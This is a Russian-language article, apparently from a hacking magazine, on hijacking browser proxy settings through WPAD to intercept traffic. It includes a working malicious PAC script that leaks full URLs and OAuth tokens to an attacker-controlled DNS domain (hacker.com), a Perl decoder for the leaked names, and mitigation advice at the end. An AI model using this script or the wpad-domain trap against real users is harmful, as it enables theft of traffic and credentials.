Mitm атака при помощи протокола WPAD.

WPAD — это весьма простой протокол для автоматической настройки прокси-сервера. В этой статье я расскажу, как он устроен, какие возможности для эксплуатации он предоставляет с точки зрения злоумышленника, а также поделюсь идеями, как можно использовать эту технологию для частичного перехвата HTTPS-трафика.

О протоколе

WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config), представляющий собой JavaScript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL. При совершении любого запроса браузер вызывает функцию FindProxyForURL из PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Выглядит это примерно так:

function FindProxyForURL(url, host) {
    if (host == "xakep.ru") {
        return "PROXY proxy.com:8080";
    } else
    if (host == "microsoft.com") {
        return "PROXY anotherproxy.com:5050";
    } else {
        return "DIRECT";
    }
}

Помимо FindProxyForURL, в PAC-скрипте доступны различные вспомогательные функции для более гибкой настройки. С их помощью можно, например, указать, что браузер должен открывать google.com с трех до четырех часов в субботу через proxy1.com, весь день в воскресенье — через proxy2.com, а в другое время — вообще ходить напрямую, без прокси-сервера.

Адрес PAC-скрипта можно прописать в настройках прокси браузера в явном виде — например, в Firefox это можно сделать в пункте настроек под названием «URL автоматической настройки сервиса прокси». Однако администратору сети вряд ли захочется прописывать настройки для всех браузеров каждого клиента вручную. Гораздо удобнее воспользоваться для этого WPAD.

Как работает WPAD

Первым делом WPAD пытается найти PAC-скрипт с помощью опции от DHCP-сервера (однако такая возможность практически не поддерживается браузерами), а затем отправляет HTTP-запрос наhttp://wpad.%domain%/wpad.dat и скачивает полученный файл. При этом в различных операционных системах поиск файла wpad.dat будет происходить по-разному.

Предположим, из настроек DHCP мы узнали, что имя домена — msk.office.work. Тогда Windows XP попытается найти его на wpad.msk.office.work (резолвинг домена будет происходить через DNS), а потом просто наwpad.office.work.

• http://wpad.msk.office.work/wpad.dat (DNS)
• http://wpad.office.work/wpad.dat (DNS)

Windows 7 ведет себя по-другому: сначала по DNS проверяет полный домен, потом пытается зарезолвить имя WPAD через Link-Local Multicast Name Resolution, а затем — с помощью NetBIOS Name Service. Последние два являются широковещательными протоколами, которые поддерживаются Windows начиная с Vista.

• http://wpad.msk.office.work/wpad.dat (DNS)
• http://wpad/wpad.dat (LLMNR)
• http://wpad/wpad.dat (NBNS)

Использование в локальной сети

Представим себя на месте злоумышленника, который хочет пустить весь локальный трафик через свой прокси-сервер. Если мы находимся в том же сегменте локальной сети и можем использовать NetBIOS, то можно воспользоваться готовым NBNS-спуфером из Metasploit.

Если же мы находимся в другой подсети, но в нашей сети есть WINS-сервер, мы можем поднять Windows-хост с именем WPAD, чтобы WINS распространил информацию о нас. Этот кейс вполне рабочий: я тестировал его в достаточно крупной локальной сети одного вуза, и на хост, находящийся в сети даже меньше /24, начали приходить запросы с сотен различных IP.

Использование в интернете

В настоящее время существует 861 домен первого уровня. Помимо привычных .com, .net, .ru, .org, среди них встречаются и более экзотические — от .work и .school до .ninja и .vodka. Имена этих доменов вполне могут быть прописаны в опции domain-name DHCP-серверов. Таким образом, если в domain-name будет указан домен .school и мы зарегистрируем домен wpad.school, то все запросы за WPAD-файлом попадут к нам. Причем, если посмотреть на wpad.TLD доменов первого уровня, мы увидим следующую картину (рис. 4).

Пару лет назад я регистрировал домен wpad.co, на который действительно начали приходить многочисленные запросы за файлом wpad.dat. Но есть и более свежие свидетельства возможности перехватить то, что нам не предназначалось: месяц назад я зарегистрировал домен wpad.work. За 11 дней к нему обратились с 3901 уникального IP.

Profit?

Итак, мы заставили пользователей ходить через подконтрольный нам прокси-сервер. Что это нам дает? В случае HTTP-запросов — полный контроль над трафиком: заголовками и телом запроса и ответа, всеми параметрами, cookies, данными сабмитов форм и так далее.

В случае с HTTPS мы увидим только метод CONNECT. Максимум доступной нам информации — хост и user-agent. К сожалению, самое интересное, то есть данные обмена между клиентом и сервером после handshake, для нас будет выглядеть лишь как набор бинарных данных.

Back to PAC

Несмотря на то что PAC-скрипт написан на JavaScript, в нем недоступны объекты window, document, не получится вывести пользователю alert (он будет отображен только в логах браузера). Тем не менее даже в этой урезанной версии есть свои приятные функции.

Одна из них — isResolvable — проверяет, возможно ли разрешить доменное имя в IP-адрес. Работает это так:

if (isResolvable(host))
    return "PROXY proxy.com:8080";

Что нам может дать использование этой функции? Чтобы ответить на этот вопрос, сначала разберемся, что именно передается в функцию FindProxyForURL в аргументе URL. Оказывается, это зависит от браузера: Chrome передает схему, хост, запрос (GET-параметры), а вот Firefox вдобавок еще и фрагмент (location.hash). Например, URL http://mail.ru/?a=123#token=secret обработается следующим образом (см. рис. 9 и 10).

Независимо от того, какой браузер используется, у нас есть полный URL. Попытаемся, используя функцию isResolvable, перехватить URL. Для этого закодируем URL таким образом, чтобы он был валидным именем хоста, и допишем d.wpad.work, в NS-записи которого прописан наш DNS-сервер, где мы же отвечаем на все запросы и логируем их.

Итак, с помощью нехитрых преобразований:

function encode(str) {
    r = str.toLowerCase()
        .replace(/([^a-z1-9])/g, function(m) {
            return "0" + m.charCodeAt(0)
        })
        .replace(/([^.]{60})(.)/g, '$1.$2')
        .substr(0, 240);
    return r + (r.slice(-1) != "." ? "." : "") + "hacker.com";
}

function FindProxyForURL(url, host) {
    var u = encode(url);
    return isResolvable(u) ? "DIRECT" : "DIRECT";
}

Наш тестовый URL https://example.ru/?token=123 превращается в
https058047047example046ru047063token061123.hacker.com, из которого можно достать исходную строку, например вот таким однострочником на Perl:

echo ‘https058047047example046ru047063token061123.hacker.com’
| perl -lape ‘s/.hacker.com$//; s/.//g; s/0(..)/chr($1)/eg;’

Не секрет, что в фрагменте URL (location.hash) часто передаются OAuth-токены. Таким образом, в случае использования Firefox к нам в руки могут попасть и они.

Итоги

С помощью WPAD можно, невзирая на HTTPS, перехватывать локальный трафик, токены OAuth и другую информацию из URL. То же можно сделать и в сети Интернет, зарегистрировав домен wpad.LTD и попробовав поймать случайных жертв на эту ловушку.

Теперь, используя имеющиеся у нас знания, посмотрим, как защититься от потенциальных атак с помощью WPAD. Ниже — основные рекомендации, выполнение которых позволит обезопасить свой трафик:

• Не использовать «чужие» домены. Обычно советуют при отсутствии своего домена использовать .local, но я бы не рекомендовал этого делать, поскольку злоумышленник сможет совершить атаку через broadcast-резолверы, которые используют тот же домен, в частности Bonjour. Оптимально использовать зарегистрированное тобой доменное имя, и даже необязательно делать его разрешимым снаружи.
• Резервировать адреса wpad в доменных зонах.
• Отключить автоматическое определение настроек в настройках всех браузеров (для IE и Chrome это можно сделать через доменные политики).